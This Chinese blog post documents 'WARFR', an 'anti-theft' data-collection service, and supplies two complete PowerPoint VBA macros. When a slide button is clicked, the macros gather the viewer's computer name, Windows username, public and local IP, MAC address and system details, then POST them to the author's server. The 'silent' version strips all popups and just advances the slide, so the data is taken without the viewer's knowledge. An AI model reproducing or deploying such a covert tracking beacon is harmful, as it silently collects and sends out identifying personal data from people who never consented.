WARFR 防盗信息收集 API 使用文档
NotBad_Jqc
|
|
66
|
0
|
未分类
|

3312 字
|
18 分钟

QQ20251220-141110.png

系统概述

  • WARFR 防盗信息收集系统是一套“设备信息采集 + 数据查看与管理”的完整解决方案，面向需要在多设备环境中标记、上报、统计与审计数据的场景。
  • 后端采用 PHP + MySQL，提供用户门户，以及接收上传数据的 API。
  • 支持邮箱注册与登录、图形验证码与人机验证、邮件验证与敏感数据二次验证。

    核心功能

  • 数据采集与上报：通过 PowerPoint VBA 脚本采集设备信息（IP/MAC/OS/CPU/内存/PPT版本等），打包为 JSON 并上传到服务器，经加密后写入数据库。
  • 用户门户：创建应用凭证（AppID/API Key）、按应用筛选查看上报记录、今日新增统计、累计调用量统计。
  • 管理员门户：API 密钥管理（创建、启用/停用、删除）、系统设置与数据概览。
  • 邮箱验证与安全访问：注册邮箱验证、登录图形验证码、访问敏感数据前需邮件验证码二次验证。
  • 账号归属与跨设备一致性：API 密钥与应用凭证支持归属用户绑定，换设备登录仍可看到自己的应用与数据。

    架构组成

  • 数据接收端点： receive_data.php 接收来自客户端脚本的 JSON，入库到 system_info 。
  • 用户与权限： 为保证数据安全，暂不公开该信息
  • 应用凭证： 为保证数据安全，暂不公开该信息
  • 安全模块：
  • 图形验证码： SVG验证码、噪点与旋转、有效期与时序安全验证。
  • 邮件验证码： 访问敏感数据需二次验证。

    安全与可靠性

  • 人机验证增强：注册与登录均采用图形验证码、蜜罐字段与最短填写时长，抵御机器人与脚本攻击。
  • 邮件可靠性：邮件发送失败会生成调试文件。
  • 数据归属： api_keys.user_id 归属列保障跨设备登录后数据仍与账号绑定；用户门户提供会话历史 AppID 的自动认领。
  • 上传脚本“静默模式”：去除弹窗，降低打扰；可按需写入日志或控制台输出。

    典型流程

  • 注册与登录：
    • 用户注册（图形验证码、邮箱验证）→ 登录（图形验证码）→ 进入用户门户。
  • 创建应用与数据上报：
    • 在用户门户创建 AppID/API Key → 将 API Key 配置到 PPT VBA 上传脚本 → 放映开始可执行上传 → 加密并服务器入库。
  • 数据查看与二次验证：
  • 门户选择应用并查看数据 → 邮件验证码通过后显示敏感记录与分页统计。

    客户端采集（PPT VBA）

  • 脚本： 使用文档里有自己翻。
  • 采集字段：计算机名、用户名、公网/内网 IP、MAC、OS/CPU/内存、PPT版本、演示文稿名称与页数、时间戳、防伪码。
  • 上传目标： SERVER_URL 指向 API 端点 ，使用 APP_ID 与 API_KEY 进行鉴权。

    后续扩展

  • 管理员侧展示应用归属用户信息（邮箱/昵称）。
  • 审计日志与细粒度权限控制（按用户/应用的访问范围）。
  • 更丰富的数据图表与趋势分析、导出与归档策略。

  • SMTP 与第三方邮件服务集成，提升邮件送达与监控能力。

    用户使用教程

    申请新的 APP

    注册登录后进入用户控制面板，找到“申请新的 appid / api_key”板块，输入相关信息后申请。 [

    QQ20251220-134548.png

注意：为保证您的信息安全，APIKEY 仅会在申请成功后显示一次，请妥善保管 （后续会加上查看 APIKEY 功能）

QQ20251220-134742.png

在PPT中配置VBA

1

打开你的 PowerPoint 演示文稿 按下键盘上的 Alt + F11 组合键 Visual Basic for Applications (VBA) 编辑器 窗口会立即弹出

QQ20251220-134937.png

2

右击左侧工程列表的项目并以此点击 插入 => 模块（如图）

QQ20251220-135329.png
便会出现下图场景：
QQ20251220-135556.png
在编辑器中粘贴以下代码：

1.上传有弹窗版本：
Option Explicit

' ===== 配置：请填写你的值 =====
Private Const SERVER_URL As String = "https://api.fd.nbjqc.cn/"  ' 接口地址
Private Const APP_ID As String = "这里填写你的APPID"   ' 替换为你的 APPID
Private Const API_KEY As String = "这里填写你的APIKEY"  ' 替换为你的 API Key

' ===== JSON 处理 =====
Private Function JsonEscape(ByVal s As String) As String
    Dim r As String
    r = s
    r = Replace(r, "\", "\\")
    r = Replace(r, """", "\""")
    r = Replace(r, vbCrLf, "\n")
    r = Replace(r, vbCr, "\n")
    r = Replace(r, vbLf, "\n")
    JsonEscape = r
End Function

' ===== 信息采集 =====
Private Function GetPublicIP() As String
    On Error Resume Next
    Dim http As Object
    Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    http.setTimeouts 3000, 3000, 3000, 3000
    http.Open "GET", "https://api.ipify.org?format=text", False
    http.Send
    If http.Status = 200 Then
        GetPublicIP = Trim(http.responseText)
    Else
        GetPublicIP = ""
    End If
End Function

Private Function GetLocalIP() As String
    On Error Resume Next
    Dim ip As String, svc As Object, col As Object, itm As Object, a As Variant
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT IPAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    For Each itm In col
        If Not IsNull(itm.IPAddress) Then
            For Each a In itm.IPAddress
                If InStr(1, a, ".") > 0 Then ip = a: Exit For
            Next a
        End If
        If Len(ip) > 0 Then Exit For
    Next itm
    GetLocalIP = ip
End Function

Private Function GetMAC() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT MACAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    For Each itm In col
        If Len(itm.macAddress & "") > 0 Then GetMAC = itm.macAddress: Exit For
    Next itm
End Function

Private Function GetOSVersion() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT Caption, Version FROM Win32_OperatingSystem")
    For Each itm In col
        GetOSVersion = Trim(itm.Caption & " " & itm.Version)
        Exit For
    Next itm
End Function

Private Function GetProcessorInfo() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT Name FROM Win32_Processor")
    For Each itm In col
        GetProcessorInfo = Trim(itm.Name & "")
        Exit For
    Next itm
End Function

Private Function GetMemoryInfo() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object, gb As Double
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")
    For Each itm In col
        gb = CDbl(itm.TotalPhysicalMemory) / (1024# ^ 3)
        GetMemoryInfo = Format(gb, "0.0") & " GB"
        Exit For
    Next itm
End Function

Private Function GetPPTVersion() As String
    On Error Resume Next
    GetPPTVersion = Application.Version
End Function

Private Function NowString() As String
    NowString = Format(Now, "yyyy-mm-dd hh:nn:ss")
End Function

' ===== 防伪码生成（不使用 send_id，长度12 HEX） =====
Private Function GenerateAntiFakeCode() As String
    On Error Resume Next
    Dim seed As String
    Dim computerName As String, mac As String
    computerName = Environ("COMPUTERNAME")
    mac = GetMAC()
    If Len(mac) = 0 Then mac = "UNKNOWN_MAC"
    seed = UCase(computerName & "|" & mac)

    Dim h1 As Long, h2 As Long
    h1 = Fnv1a32(seed)
    h2 = Djb2_32(seed)

    Dim hex1 As String, hex2 As String
    hex1 = Right("00000000" & Hex(h1), 8)
    hex2 = Right("00000000" & Hex(h2), 8)

    ' 组合为12位HEX：8位 + 后4位
    GenerateAntiFakeCode = Left(hex1 & Right(hex2, 4), 12)
End Function

Private Function Fnv1a32(ByVal s As String) As Long
    Dim h As Long
    h = &H811C9DC5  ' 2166136261
    Dim i As Long, c As Integer
    For i = 1 To Len(s)
        c = AscW(Mid$(s, i, 1)) And &HFF&
        h = (h Xor c)
        h = (h * &H1000193) And &HFFFFFFFF
    Next i
    Fnv1a32 = h
End Function

Private Function Djb2_32(ByVal s As String) As Long
    Dim h As Long
    h = 5381
    Dim i As Long, c As Integer
    For i = 1 To Len(s)
        c = AscW(Mid$(s, i, 1)) And &HFF&
        h = (((h * 33) And &HFFFFFFFF) + c) And &HFFFFFFFF
    Next i
    Djb2_32 = h
End Function
' ===== 构建 JSON 载荷（匹配服务端必填：appid、timestamp、system_info、anti_fake_code） =====
Private Function BuildSystemInfoJson() As String
    Dim computerName As String, userName As String, publicIP As String
    Dim clientIP As String, mac As String, osVer As String, cpu As String
    Dim mem As String, pptVer As String, ts As String, antiFake As String
    Dim presName As String, slidesCount As Long

    On Error Resume Next
    computerName = Environ("COMPUTERNAME")
    userName = Environ("USERNAME")
    publicIP = GetPublicIP()
    clientIP = GetLocalIP()
    mac = GetMAC()
    osVer = GetOSVersion()
    cpu = GetProcessorInfo()
    mem = GetMemoryInfo()
    pptVer = GetPPTVersion()
    ts = NowString()
    antiFake = GenerateAntiFakeCode()

    presName = ""
    slidesCount = 0
    If Not ActivePresentation Is Nothing Then
        presName = ActivePresentation.Name
        slidesCount = ActivePresentation.Slides.Count
    End If

    ' system_info 对象：包含服务器侧读取的字段名（processor/memory 等）
    Dim sysInfo As String
    sysInfo = "{" & _
              """computer_name"":""" & JsonEscape(computerName) & """," & _
              """username"":""" & JsonEscape(userName) & """," & _
              """public_ip"":""" & JsonEscape(publicIP) & """," & _
              """mac_address"":""" & JsonEscape(mac) & """," & _
              """os_version"":""" & JsonEscape(osVer) & """," & _
              """ppt_version"":""" & JsonEscape(pptVer) & """," & _
              """processor"":""" & JsonEscape(cpu) & """," & _
              """memory"":""" & JsonEscape(mem) & """," & _
              """ppt_title"":""" & JsonEscape(presName) & """," & _
              """slides_count"":" & CStr(slidesCount) & _
              "}"

    Dim j As String
    j = j & "{""appid"":""" & JsonEscape(APP_ID) & """," & _
        """timestamp"":""" & JsonEscape(ts) & """," & _
        """anti_fake_code"":""" & JsonEscape(antiFake) & """," & _
        """system_info"":" & sysInfo & "}"

    BuildSystemInfoJson = j
End Function

' ===== 上传过程 =====
Public Sub UploadSystemInfo()
    On Error GoTo EH
    If Len(APP_ID) = 0 Or Len(API_KEY) = 0 Then
        MsgBox "请先在脚本中填写 APP_ID 和 API_KEY", vbCritical
        Exit Sub
    End If

    Dim payload As String: payload = BuildSystemInfoJson()
    Dim http As Object: Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    http.setTimeouts 5000, 5000, 5000, 5000
    http.Open "POST", SERVER_URL, False
    http.setRequestHeader "Content-Type", "application/json"
    http.setRequestHeader "X-App-ID", APP_ID
    http.setRequestHeader "X-API-Key", API_KEY
    http.Send payload

    If http.Status = 200 Or http.Status = 201 Then
        MsgBox "上传成功", vbInformation
    Else
        MsgBox "上传失败，状态: " & http.Status & vbCrLf & http.responseText, vbExclamation
    End If
    Exit Sub
EH:
    MsgBox "上传异常: " & Err.Description, vbCritical
End Sub
2.无感上传版本（上传后自动跳转下一页）：
Option Explicit

Private Const SERVER_URL As String = "https://api.fd.nbjqc.cn/"
Private Const APP_ID As String = "这里填写你的APPID"   ' 替换为你的 APPID
Private Const API_KEY As String = "这里填写你的APIKEY"  ' 替换为你的 API Key

Private Function JsonEscape(ByVal s As String) As String
    Dim r As String
    r = s
    r = Replace(r, "\", "\\")
    r = Replace(r, """", "\""")
    r = Replace(r, vbCrLf, "\n")
    r = Replace(r, vbCr, "\n")
    r = Replace(r, vbLf, "\n")
    JsonEscape = r
End Function

Private Function GetPublicIP() As String
    On Error Resume Next
    Dim http As Object
    Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    http.setTimeouts 3000, 3000, 3000, 3000
    http.Open "GET", "https://api.ipify.org?format=text", False
    http.Send
    If http.Status = 200 Then
        GetPublicIP = Trim(http.responseText)
    Else
        GetPublicIP = ""
    End If
End Function

Private Function GetLocalIP() As String
    On Error Resume Next
    Dim ip As String, svc As Object, col As Object, itm As Object, a As Variant
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT IPAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    For Each itm In col
        If Not IsNull(itm.IPAddress) Then
            For Each a In itm.IPAddress
                If InStr(1, a, ".") > 0 Then ip = a: Exit For
            Next a
        End If
        If Len(ip) > 0 Then Exit For
    Next itm
    GetLocalIP = ip
End Function

Private Function GetMAC() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT MACAddress FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
    For Each itm In col
        If Len(itm.MACAddress & "") > 0 Then GetMAC = itm.MACAddress: Exit For
    Next itm
End Function

Private Function GetOSVersion() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT Caption, Version FROM Win32_OperatingSystem")
    For Each itm In col
        GetOSVersion = Trim(itm.Caption & " " & itm.Version)
        Exit For
    Next itm
End Function

Private Function GetProcessorInfo() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT Name FROM Win32_Processor")
    For Each itm In col
        GetProcessorInfo = Trim(itm.Name & "")
        Exit For
    Next itm
End Function

Private Function GetMemoryInfo() As String
    On Error Resume Next
    Dim svc As Object, col As Object, itm As Object, gb As Double
    Set svc = GetObject("winmgmts:")
    Set col = svc.ExecQuery("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")
    For Each itm In col
        gb = CDbl(itm.TotalPhysicalMemory) / (1024# ^ 3)
        GetMemoryInfo = Format(gb, "0.0") & " GB"
        Exit For
    Next itm
End Function

Private Function GetPPTVersion() As String
    On Error Resume Next
    GetPPTVersion = Application.Version
End Function

Private Function NowString() As String
    NowString = Format(Now, "yyyy-mm-dd hh:nn:ss")
End Function

Private Function GenerateAntiFakeCode() As String
    Dim computerName As String, mac As String, seed As String
    computerName = Environ("COMPUTERNAME")
    mac = GetMAC()
    If Len(mac) = 0 Then mac = "UNKNOWN_MAC"
    seed = UCase$(computerName & "|" & mac)
    GenerateAntiFakeCode = StableHex12(seed)
End Function

Private Function StableHex12(ByVal s As String) As String
    Dim box(11) As Integer
    Dim i As Long, j As Long, d As Integer, idx As Integer
    For i = 1 To Len(s)
        d = Asc(Mid$(s, i, 1)) And &HFF
        For j = 0 To 11
            idx = (j + (d And &HF)) Mod 12
            box(idx) = (box(idx) Xor ((d + j * 11) And &HF)) And &HF
            Select Case (j Mod 4)
                Case 0
                    box(idx) = (box(idx) + (d And &HF)) And &HF
                Case 1
                    box(idx) = (box(idx) + ((d \ 2) And &HF)) And &HF
                Case 2
                    box(idx) = (box(idx) + ((d \ 4) And &HF)) And &HF
                Case 3
                    box(idx) = (box(idx) + ((d \ 8) And &HF)) And &HF
            End Select
        Next j
    Next i
    Dim hexmap As String: hexmap = "0123456789ABCDEF"
    Dim res As String: res = ""
    For j = 0 To 11
        res = res & Mid$(hexmap, box(j) + 1, 1)
    Next j
    StableHex12 = res
End Function

Private Function BuildSystemInfoJson() As String
    Dim computerName As String, userName As String, publicIP As String
    Dim clientIP As String, mac As String, osVer As String, cpu As String
    Dim mem As String, pptVer As String, ts As String, antiFake As String
    Dim presName As String, slidesCount As Long

    On Error Resume Next
    computerName = Environ("COMPUTERNAME")
    userName = Environ("USERNAME")
    publicIP = GetPublicIP()
    clientIP = GetLocalIP()
    mac = GetMAC()
    osVer = GetOSVersion()
    cpu = GetProcessorInfo()
    mem = GetMemoryInfo()
    pptVer = GetPPTVersion()
    ts = NowString()
    antiFake = GenerateAntiFakeCode()

    presName = ""
    slidesCount = 0
    If Not ActivePresentation Is Nothing Then
        presName = ActivePresentation.Name
        slidesCount = ActivePresentation.Slides.Count
    End If

    Dim sysInfo As String
    sysInfo = "{" & _
              """computer_name"":""" & JsonEscape(computerName) & """," & _
              """username"":""" & JsonEscape(userName) & """," & _
              """public_ip"":""" & JsonEscape(publicIP) & """," & _
              """mac_address"":""" & JsonEscape(mac) & """," & _
              """os_version"":""" & JsonEscape(osVer) & """," & _
              """ppt_version"":""" & JsonEscape(pptVer) & """," & _
              """processor"":""" & JsonEscape(cpu) & """," & _
              """memory"":""" & JsonEscape(mem) & """," & _
              """ppt_title"":""" & JsonEscape(presName) & """," & _
              """slides_count"":" & CStr(slidesCount) & _
              "}"

    Dim j As String
    j = j & "{""appid"":""" & JsonEscape(APP_ID) & """," & _
        """timestamp"":""" & JsonEscape(ts) & """," & _
        """anti_fake_code"":""" & JsonEscape(antiFake) & """," & _
        """system_info"":" & sysInfo & "}"

    BuildSystemInfoJson = j
End Function

Public Sub UploadSystemInfo()
    On Error GoTo EH
    If Len(APP_ID) = 0 Or Len(API_KEY) = 0 Then
        ' 弹窗已移除
        Exit Sub
    End If

    Dim payload As String: payload = BuildSystemInfoJson()
    Dim http As Object: Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    http.setTimeouts 5000, 5000, 5000, 5000
    http.Open "POST", SERVER_URL, False
    http.setRequestHeader "Content-Type", "application/json"
    http.setRequestHeader "X-App-ID", APP_ID
    http.setRequestHeader "X-API-Key", API_KEY
    http.Send payload

    If http.Status = 200 Or http.Status = 201 Then
    Application.ActivePresentation.SlideShowWindow.View.Next
        ' 弹窗已移除
    Else
        ' 弹窗已移除
    End If
    Exit Sub
EH:
    ' 弹窗已移除
End Sub

3

现在就可以给按钮添加超链接了

QQ20251220-141110.png

来看看效果： 点击查看视频

暂无评论

发送评论 编辑评论 


				

			

						

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
						

					

				

				

					

						

							

								
							

							
							
													

					

				

			

			
			

				

					
				

			

				

											

							
							
						

																				
					
											
						

	

		
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
（╯‵□′）╯︵┴─┴
￣﹃￣
(/ω＼)
∠( ᐛ 」∠)＿
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ｀)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ(￣∇￣o)
ヾ(´･ ･｀｡)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò｡)
Σ(っ °Д °;)っ
( ,,´･ω･)ﾉ"(´っω･｀｡)
╮(╯▽╰)╭
o(*////▽////*)q
＞﹏＜
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
	

	

		
颜文字
Emoji
小恐龙
花!
	


									

			

			
			
		

	






上一篇